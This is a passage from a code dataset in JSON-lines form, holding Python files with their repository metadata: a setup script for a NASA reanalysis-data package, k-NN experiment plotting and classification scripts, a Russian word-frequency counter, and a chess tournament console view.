40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.angle", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.fft.ifft2", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.fft.fftshift", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.angle", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.fft.ifft2", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.fft.fftshift", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "numpy.angle", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.fft.ifft2", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 65, "usage_type": "attribute"}, {"api_name": "numpy.fft.fftshift", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "numpy.zeros_like", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.fft.fftshift", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 78, "usage_type": "attribute"}, {"api_name": "numpy.fft.ifft2", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.fft.ifftshift", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 83, "usage_type": "attribute"}, {"api_name": "numpy.fft.ifft2", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}]}
{"seq_id": "23449116767", "text": "\n\"\"\"Module setuptools script.\"\"\"\n\nfrom setuptools import setup, find_packages\n\ndescription =  \"Framework for providing reanalysis data to FoundationModel/DigitalTwin training and inference processes.\"\n\nsetup(\n    name=\"fmbase\",\n    version=\"0.1\",\n    description=description,\n    long_description=description,\n    author=\"NASA Innovation Lab\",\n    license=\"Apache License, Version 2.0\",\n    keywords=\"Foundation Model Weather Climate\",\n    url=\"https://github.com/nasa-nccs-cds/FoundationModelBase.git\",\n    packages=find_packages(),\n    install_requires=[ \"pydap\", \"numpy\", \"xarray\", \"dask\", \"matplotlib\", \"scipy\", \"netCDF4\", \"hydra-core\"],\n    classifiers=[\n        \"Development Status :: 3 - Alpha\",\n        \"Intended Audience :: Science/Research\",\n        \"License :: OSI Approved :: Apache Software License\",\n        \"Operating System :: POSIX :: Linux\",\n        \"Programming Language :: Python :: 3\",\n        \"Topic :: Scientific/Engineering :: Artificial Intelligence\",\n        \"Topic :: Scientific/Engineering :: Atmospheric Science\",\n        \"Topic :: Scientific/Engineering :: Physics\",\n    ],\n)\n", "repo_name": "nasa-nccs-cds/FoundationModelBase", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1106, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "setuptools.setup", "line_number": 8, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "24966551224", "text": "from __future__ import division\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\nfrom tensorflow_TB.utils.plots import load_data_from_csv_wrapper, add_subplot_axes\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport numpy as np\nimport os\nimport json\nimport scipy.optimize as opt\n\nplt.rcParams['interactive'] = False\n\n# setting all experiments\nall_ks = [1, 3, 4, 5, 6, 7, 8, 9, 10,\n          12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40,\n          45, 50, 55, 60, 65, 70, 75, 80, 85, 90, 95, 100,\n          110, 120, 130, 140, 150, 160, 170, 180, 190, 200,\n          220, 240, 260, 280, 300,\n          350, 400, 450, 500,\n          600, 700, 800, 900, 1000, 1100, 1200, 1300, 1400, 1500]\nall_ks.extend(range(1600, 6001, 100))\n\nNORM   = 'L1'\nNOM = 2.426\nnum_classes = 2\n\nlogdir_vec  = []\nn_vec       = []\nmax_ks      = []\nfor i in range(1, 11):\n    logdir_vec.append('/data/gilad/logs/knn_bayes/wrn/cifar10_cats_v_dogs/w_dropout/log_bs_200_lr_0.1s_n_{}k-SUPERSEED=08011900'.format(i))\n    n_vec.append(int(i * 1000))\n    max_ks.append(int(i * 1000 / num_classes))\n\nn_vec = np.array(n_vec)\nmax_ks = np.array(max_ks)\n\n# calc k\nmeasure = 'norm_{}_knn_kl_div2_avg'.format(NORM)\nknn_score = []\noptimal_k = []\nfor i, root_dir in enumerate(logdir_vec):\n    json_file = os.path.join(root_dir, 'data_for_figures', 'data.json')\n    max_k = max_ks[i]\n    best_score = np.inf  # lower is better\n    best_k = None\n    with open(json_file) as f:\n        data = json.load(f)\n    for k in all_ks:\n        if k <= max_k:\n            m_str = 'knn_k_{}_{}'.format(k, measure)\n            score = data['test']['regular'][m_str]['values'][0]\n            if score < best_score:\n                best_score = score\n                best_k = k\n    knn_score.append(best_score)\n    optimal_k.append(best_k)\n\n# fitting k\nA = np.vstack([n_vec, np.ones(len(n_vec))]).T\nm, c = np.linalg.lstsq(A, optimal_k, rcond=None)[0]\noptimal_k_fitted = n_vec * m + c\n\n# calc C\nif NORM == 'L1':\n    C_vec = 1e-4 * np.array([9.611, 6.989, 6.308, 6.192, 5.466, 5.391, 5.871, 5.16, 5.273, 5.379])\nelif NORM == 'L2':\n    C_vec = np.array([0.02066, 0.01482, 0.01367, 0.0141, 0.0122, 0.01281, 0.01319, 0.01183, 0.01197, 0.01156])\nelse:\n    raise AssertionError(\"No such metric {}\".format(NORM))\n\n# fit C\nif NORM == 'L1':\n    C_vec_fitted = np.array([C_vec[0], C_vec[1], C_vec[2], 0.0006, 0.000578, 0.00056, 0.000543, 0.000532, 0.000525, 0.00052])\nelif NORM == 'L2':\n    pass\n    # C_vec_fitted = np.array([C_vec[0], C_vec[1], C_vec[2], 0.0006, 0.000578, 0.000565, 0.00055, 0.00053, 0.000525, 0.00052])\nelse:\n    raise AssertionError('No such norm {}'.format(NORM))\n\noptimal_k_cat_v_dogs        = optimal_k\noptimal_k_fitted_cat_v_dogs = optimal_k_fitted\nC_vec_cat_v_dogs            = C_vec\nC_vec_fitted_cats_v_dogs    = C_vec_fitted\nDKL_cats_v_dogs             = knn_score\n\n\nlogdir_vec  = []\nn_vec       = []\nmax_ks      = []\nfor i in range(1, 11):\n    logdir_vec.append('/data/gilad/logs/knn_bayes/wrn/cifar10_airplanes_v_ships/w_dropout/log_bs_200_lr_0.1s_n_{}k-SUPERSEED=21011900'.format(i))\n    n_vec.append(int(i * 1000))\n    max_ks.append(int(i * 1000 / num_classes))\n\nn_vec = np.array(n_vec)\nmax_ks = np.array(max_ks)\n\n# calc k\nmeasure = 'norm_{}_knn_kl_div2_avg'.format(NORM)\nknn_score = []\noptimal_k = []\nfor i, root_dir in enumerate(logdir_vec):\n    json_file = os.path.join(root_dir, 'data_for_figures', 'data.json')\n    max_k = max_ks[i]\n    best_score = np.inf  # lower is better\n    best_k = None\n    with open(json_file) as f:\n        data = json.load(f)\n    for k in all_ks:\n        if k <= max_k:\n            m_str = 'knn_k_{}_{}'.format(k, measure)\n            score = data['test']['regular'][m_str]['values'][0]\n            if score < best_score:\n                best_score = score\n                best_k = k\n    knn_score.append(best_score)\n    optimal_k.append(best_k)\n\n# fitting k\nA = np.vstack([n_vec, np.ones(len(n_vec))]).T\nm, c = np.linalg.lstsq(A, optimal_k, rcond=None)[0]\noptimal_k_fitted = n_vec * m + c\n\n# calc C\nif NORM == 'L1':\n    C_vec = 1e-4 * np.array([10, 7.1, 6.8, 4.4, 4.9, 4.1, 4.2, 3.85, 3.8, 3.55])\nelif NORM == 'L2':\n    pass\n    # C_vec = np.array([0.02066, 0.01482, 0.01367, 0.0141, 0.0122, 0.01281, 0.01319, 0.01183, 0.01197, 0.01156])\nelse:\n    raise AssertionError(\"No such metric {}\".format(NORM))\n\n# # fit C\nif NORM == 'L1':\n    C_vec_fitted = np.array([C_vec[0], C_vec[1], 0.000598, 0.00052, 0.00047, 0.00043, 0.000405, C_vec[7], 0.000375, 0.00037])\nelif NORM == 'L2':\n    pass\n    # C_vec_fitted = np.array([C_vec[0], C_vec[1], C_vec[2], 0.0006, 0.000578, 0.000565, 0.00055, 0.00053, 0.000525, 0.00052])\nelse:\n    raise AssertionError('No such norm {}'.format(NORM))\n\noptimal_k_airplanes_v_ships        = optimal_k\noptimal_k_fitted_airplanes_v_ships = optimal_k_fitted\nC_vec_airplanes_v_ships            = C_vec\nC_vec_fitted_airplanes_v_ships     = C_vec_fitted\nDKL_airplanes_v_ships              = knn_score\n\n\nfig = plt.figure(figsize=(10.0, 8.0))\nax1 = fig.add_subplot(321)\nax1.plot(n_vec, DKL_cats_v_dogs, 'ko')\nax1.set_ylabel('$D_{KL}$($k$-NN||DNN)', labelpad=5, fontdict={'fontsize': 16})\nax1.yaxis.grid(True)\nax1.set_xticklabels([])\nax1.tick_params(labelsize=14)\nax1.set_title('Cats vs Dogs', fontdict={'fontsize': 14})\n\nax2 = fig.add_subplot(322)\nax2.plot(n_vec, DKL_airplanes_v_ships, 'ko')\nax2.set_ylabel('$D_{KL}$($k$-NN||DNN)', labelpad=5, fontdict={'fontsize': 16})\nax2.yaxis.grid(True)\nax2.set_xticklabels([])\nax2.tick_params(labelsize=14)\nax2.set_title('Airplanes vs Ships', fontdict={'fontsize': 14})\n\nax3 = fig.add_subplot(323)\nax3.set_ylabel('$k^*$', labelpad=5, fontdict={'fontsize': 16})\nax3.plot(n_vec, optimal_k_cat_v_dogs, 'ko')\nax3.plot(n_vec, optimal_k_fitted_cat_v_dogs, '--r')\nax3.grid(True)\nax3.set_xticklabels([])\nax3.set_yticks([0, 1000, 2000, 3000, 4000])\nax3.tick_params(labelsize=14)\n\nax4 = fig.add_subplot(324)\nax4.set_ylabel('$k^*$', labelpad=5, fontdict={'fontsize': 16})\nax4.plot(n_vec, optimal_k_airplanes_v_ships, 'ko')\nax4.plot(n_vec, optimal_k_fitted_airplanes_v_ships, '--r')\nax4.grid(True)\nax4.set_xticklabels([])\nax4.set_yticks([0, 1000, 2000, 3000, 4000, 5000])\nax4.tick_params(labelsize=14)\n\nax5 = fig.add_subplot(325)\nax5.set_ylabel('C', labelpad=5, fontdict={'fontsize': 16})\nax5.set_xlabel('number of samples', fontdict={'fontsize': 14})\nax5.grid()\nax5.plot(n_vec, C_vec_cat_v_dogs, 'ko')\nax5.plot(n_vec, C_vec_fitted_cats_v_dogs, '--r')\nax5.tick_params(labelsize=14)\n\nax6 = fig.add_subplot(326)\nax6.set_ylabel('C', labelpad=5, fontdict={'fontsize': 16})\nax6.set_xlabel('number of samples', fontdict={'fontsize': 14})\nax6.grid()\nax6.plot(n_vec, C_vec_airplanes_v_ships, 'ko')\nax6.plot(n_vec, C_vec_fitted_airplanes_v_ships, '--r')\nax6.tick_params(labelsize=14)\n\nplt.tight_layout()\nplt.savefig('theoretic_k_c_DKL.png', dpi=350)\n\n\n", "repo_name": "giladcohen/tensorflow_TB", "sub_path": "plots/theoric_k_c_DKL.py", "file_name": "theoric_k_c_DKL.py", "file_ext": "py", "file_size_in_byte": 6844, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 13, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 47, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.linalg.lstsq", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 108, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.linalg.lstsq", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 124, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}]}
{"seq_id": "13376522228", "text": "\"\"\"\nImplementation of KNN algo for classification.\n\n\"\"\"\n\nimport time\nimport csv, sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits import mplot3d\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.neighbors import DistanceMetric\nfrom sklearn.model_selection import cross_val_score\nimport sklearn.utils as utils\nfrom sklearn.utils import shuffle\nfrom sklearn.metrics import confusion_matrix, roc_curve, precision_recall_curve\nfrom sklearn.model_selection import GridSearchCV\nimport joblib\n\n\nsys.path.insert(0, \"/home/miquelmiravet/University/Doctorat/Projects/IPAM_ML/IPAM2021_ML/utils\")\nimport utils as ut\nimport fancyplots as fp\nimport realistic\n\nimport seaborn as sns\nfrom matplotlib.ticker import PercentFormatter\nfrom matplotlib import rc\nrc('text', usetex=True)\nrc('font',family='serif')\n\n#######################################################################\n# Read data, write output\n#######################################################################\n\ndef extractData(filename, header=False, verbose=False):\n    \"\"\" Reads data from csv file and returns it in array form.\n    \"\"\"\n    lst=[]\n    \n    with open(filename) as csv_file:\n        csv_reader = csv.reader(csv_file, delimiter=',')\n        if(header):\n            next(csv_reader, None)\n        for row in csv_reader:\n            lst.append(row[:])\n    data=lst\n    if verbose:\n        print(filename, 'loaded')\n    return data\n\ndef writeResult(filename, data):\n    with open(filename, 'w') as csvfile:\n        spamwriter = csv.writer(csvfile, delimiter=',')\n        for x in range(0,np.size(data, axis = 1)):\n            spamwriter.writerow(data[:,x])\n    return()\n    \n    \n#######################################################################\n# Class for the Classification KNN\n#######################################################################\n\nclass ClassificationKNN:\n\n    def __init__(self, save=False, show=True):\n\n        self.save_plots=save\n        self.show_plots=show\n\n        return\n        \n    def load_real_dataset(self, path, fname):\n        \"\"\" Load datasets in CSV format \n        \"\"\"\n        data = extractData(path+fname, header = True, verbose = False)\n        indices_vars = [2,3,4,5,6]\n        xtest = []\n        label_test = []\n        eventid = []\n        graceid = []\n        prob_ns = []\n        prob_rem = []\n\n        for dat in data:\n            dat = np.array(dat)\n            xtest.append(dat[indices_vars])\n            eventid.append(dat[0])\n            graceid.append(dat[1])\n            prob_ns.append(dat[-2])\n            prob_rem.append(dat[-1])\n        self.data = np.array(xtest,dtype = float)\n        self.Nfeatures  = len(self.data[0][:]) \n        self.eventid = np.array(eventid)\n        self.graceid = np.array(graceid)\n        self.prob_ns = np.array(prob_ns,dtype = float)\n        self.prob_rem = np.array(prob_rem,dtype= float)\n        return\n        \n    def loadModel(self, path, filename=\"KNN\"):\n        print(\"loading \",path+filename+\".joblib\")\n        self.model = joblib.load(path+filename+\".joblib\")\n\n        return        \n        \n    def predict_model(self,x):\n\n        x = np.array(x)\n        # if the input is given as a 1d-array...\n        if len(x.shape)==1:\n            if len(x)==self.Nfeatures:\n                x = x.reshape((1,self.Nfeatures)) # ...transform as row-vec\n            else:\n                raise ValueError('Wrong input-dimension')\n\n        self.predict = self.model.predict(x)\n        self.probab = self.model.predict_proba(x)\n\n        return\n\n\n\n    def write_probab_pred(self,filename):\n\n        data = np.array([self.eventid,self.graceid,self.prob_ns,self.prob_rem,self.predict,1-self.probab[:,0],self.probab[:,2]])\n        writeResult(filename,data)\n        return\n", "repo_name": "PhoenixBirdCreations/IPAM2021_ML", "sub_path": "algo/FINAL/KNN_final/KNNreal.py", "file_name": "KNNreal.py", "file_ext": "py", "file_size_in_byte": 3761, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.insert", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "matplotlib.rc", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.rc", "line_number": 30, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 42, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 97, "usage_type": "call"}, {"api_name": "joblib.load", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 125, "usage_type": "call"}]}
{"seq_id": "6897078708", "text": "import nltk\nimport pymorphy2\nimport string\nimport math\nimport os\nimport pandas as pd\nfrom collections import Counter\nmorph = pymorphy2.MorphAnalyzer() ## для нормализации слова\npart = 0.1                        ## часть слов, которая будет отображена в excel файле\nexcel_file_name = 'output.xlsx'   ## имя excel файла\nstopwords = nltk.corpus.stopwords.words('russian') + ['–','«','»','’'] ## лист стоп-слов\n\n\n## функция для обработки строки в текстовом файле\n## принимает строку, возвращает лист с нормализованными словами\ndef process_line(line):\n    tokens = nltk.word_tokenize(line)  ## разбить строку на токены\n    tokens = [i for i in tokens if i not in string.punctuation]  ## уберем знаки пунктуации\n    tokens = [i for i in tokens if i not in stopwords]           ## уберем стоп-слова\n    return [morph.parse(token)[0].normal_form for token in tokens] ## сделаем нормализацию\n\n    \n## функция для обработки тестового файла\n## принимает путь к файлу, возвращает лист с нормализованными словами\ndef process_file(path_to_file):\n    words = []\n    print('Processing txt file...')\n    with open(path_to_file, 'r') as f:\n        for line in f:\n            words += process_line(line.lower())\n    return words\n\n\ndef main():\n    path_to_file = input(\"Enter path to txt file: \")\n    try:\n        data = process_file(path_to_file)\n    except FileNotFoundError:\n        print('File not found!')\n        return\n    words_count = Counter(data) ## подсчитаем частотность слов\n    most_common = words_count.most_common(math.ceil(len(words_count)*part)) ## отберем самые популярные из них(вместе с кол-вом вхождений)\n    most_common_words = [i[0] for i in most_common]  ## полуим только слова\n    pd.DataFrame(most_common_words).to_excel(excel_file_name, header=False, index=False) ## создаем excel файл\n    print('File {} was created'.format(os.path.abspath(excel_file_name)))\n\n\nmain()\n\n", "repo_name": "kerby05/test_task", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 2323, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pymorphy2.MorphAnalyzer", "line_number": 8, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 11, "usage_type": "call"}, {"api_name": "nltk.corpus", "line_number": 11, "usage_type": "attribute"}, {"api_name": "nltk.word_tokenize", "line_number": 17, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 18, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 41, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}]}
{"seq_id": "33370964044", "text": "from colorama import Fore\nfrom models.tournament import Tournament\nimport datetime\n\n\nclass TournamentView:\n\n    @staticmethod\n    def print_player_added(name: str):\n        \"\"\"Print a message indicating than a player has been added to the tournament\"\"\"\n        print(f\"{Fore.GREEN}Player added : {Fore.RESET}{name}\")\n\n    @staticmethod\n    def print_error(error: str):\n        \"\"\"Print an error to the user\"\"\"\n        print(f\"{Fore.RED}Error: {Fore.RESET}{error}\")\n\n    @staticmethod\n    def print_players_list(players: list):\n        \"\"\"Print list of players\"\"\"\n        for ply in players:\n            print(\n                f\"{ply.doc_id} - {ply['lastname']} {ply['firstname']} {ply['sex']} {ply['birthdate']}\"\n            )\n\n    @staticmethod\n    def print_matches_list(matches: list, round_number: int):\n        \"\"\"Print matchs list of current round\"\"\"\n        i = 0\n        print(f\"Round number {round_number + 1} :\")\n        for match in matches:\n            text: str = \"\"\n            text += f\"{i} - \"\n            text += f\"{match.upPlayer.lastname} {match.upPlayer.firstname} ({match.upPlayer.tournament_rank})\"\n            text += f\" {Fore.YELLOW}versus {Fore.RESET}\"\n            text += f\"{match.downPlayer.lastname} {match.downPlayer.firstname} ({match.downPlayer.tournament_rank})\"\n            if match.ended:\n                text += f\"{Fore.RED} (ENDED) {Fore.RESET}Winned by: {match.winnedBy}\"\n            print(text)\n            i += 1\n\n    @staticmethod\n    def print_tournaments_list(tournaments: list):\n        \"\"\"Print list of tournaments\"\"\"\n        for trn in tournaments:\n            print(f\"{trn.doc_id} : {trn['name']} | {trn['date']}\")\n\n    @staticmethod\n    def print_matches(matches: list, indent: str = \"\"):\n        \"\"\"Print list of matches\"\"\"\n        for match in matches:\n            text = indent\n            text += f\"{Fore.GREEN if match.winnedBy == 0 else Fore.RED}\"\n            text += f\" {match.upPlayer.lastname} {match.upPlayer.firstname}\"\n            text += f\" {Fore.BLUE}versus{Fore.RESET}\"\n            text += f\"{Fore.GREEN if match.winnedBy == 1 else Fore.RED}\"\n            text += f\" {match.downPlayer.lastname} {match.downPlayer.firstname}\"\n            text += f\"{Fore.RESET} Start: {datetime.datetime.fromtimestamp(match.startTime)}\"\n            if match.endTime is not None:\n                text += f\" Ended: {datetime.datetime.fromtimestamp(match.endTime)}\"\n            print(text)\n\n    @staticmethod\n    def print_tournament_overview(\n        tournament: Tournament, action: int = -1, sortType: int = -1\n    ):\n        \"\"\"Manage tournament overview\"\"\"\n        if action == -1:\n            print(\"Tournament Overview:\")\n            print(f\"\\tName: {tournament.name}\")\n            print(f\"\\tPlace: {tournament.place}\")\n            print(f\"\\tDate: {tournament.date}\")\n            print(f\"\\tDescription: {tournament.description}\")\n            print(f\"\\tAmount of rounds: {tournament.round_amount}\")\n        elif action == 0:\n            _temp_players = tournament.players.copy()\n            print(\"Players:\")\n            if sortType == 0:\n                _temp_players.sort(\n                    key=lambda x: (x.lastname.lower(), x.firstname.lower())\n                )\n            elif sortType == 1:\n                _temp_players.sort(key=lambda x: x.rank)\n            for ply in _temp_players:\n                print(\n                    f\"\\t{ply.lastname} {ply.firstname} {ply.birthdate} {ply.sex} {ply.rank} {ply.tournament_rank}\"\n                )\n\n        elif action == 1:\n            print(\"Matchs:\")\n            for rnd_number, rnd in enumerate(tournament.matches):\n                print(f\"\\tRound N°{rnd_number}:\")\n                TournamentView.print_matches(rnd, \"\\t\\t\")\n", "repo_name": "Matspyder51/OCR_P4", "sub_path": "views/tournament/tournament.py", "file_name": "tournament.py", "file_ext": "py", "file_size_in_byte": 3728, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "colorama.Fore.GREEN", "line_number": 11, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 11, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 11, "usage_type": "attribute"}, {"api_name": "colorama.Fore.RED", "line_number": 16, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 16, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 16, "usage_type": "attribute"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 35, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 35, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 35, "usage_type": "attribute"}, {"api_name": "colorama.Fore.RED", "line_number": 38, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 38, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 38, "usage_type": "attribute"}, {"api_name": "colorama.Fore.GREEN", "line_number": 53, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 53, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 53, "usage_type": "attribute"}, {"api_name": "colorama.Fore.BLUE", "line_number": 55, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 55, "usage_type": "name"}, {"api_name": "colorama.Fore.RESET", "line_number": 55, "usage_type": "attribute"}, {"api_name": "colorama.Fore.GREEN", "line_number": 56, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 56, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 56, "usage_type": "attribute"}, {"api_name": "colorama.Fore.RESET", "line_number": 58, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 58, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 58, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.tournament.Tournament", "line_number": 65, "usage_type": "name"}]}
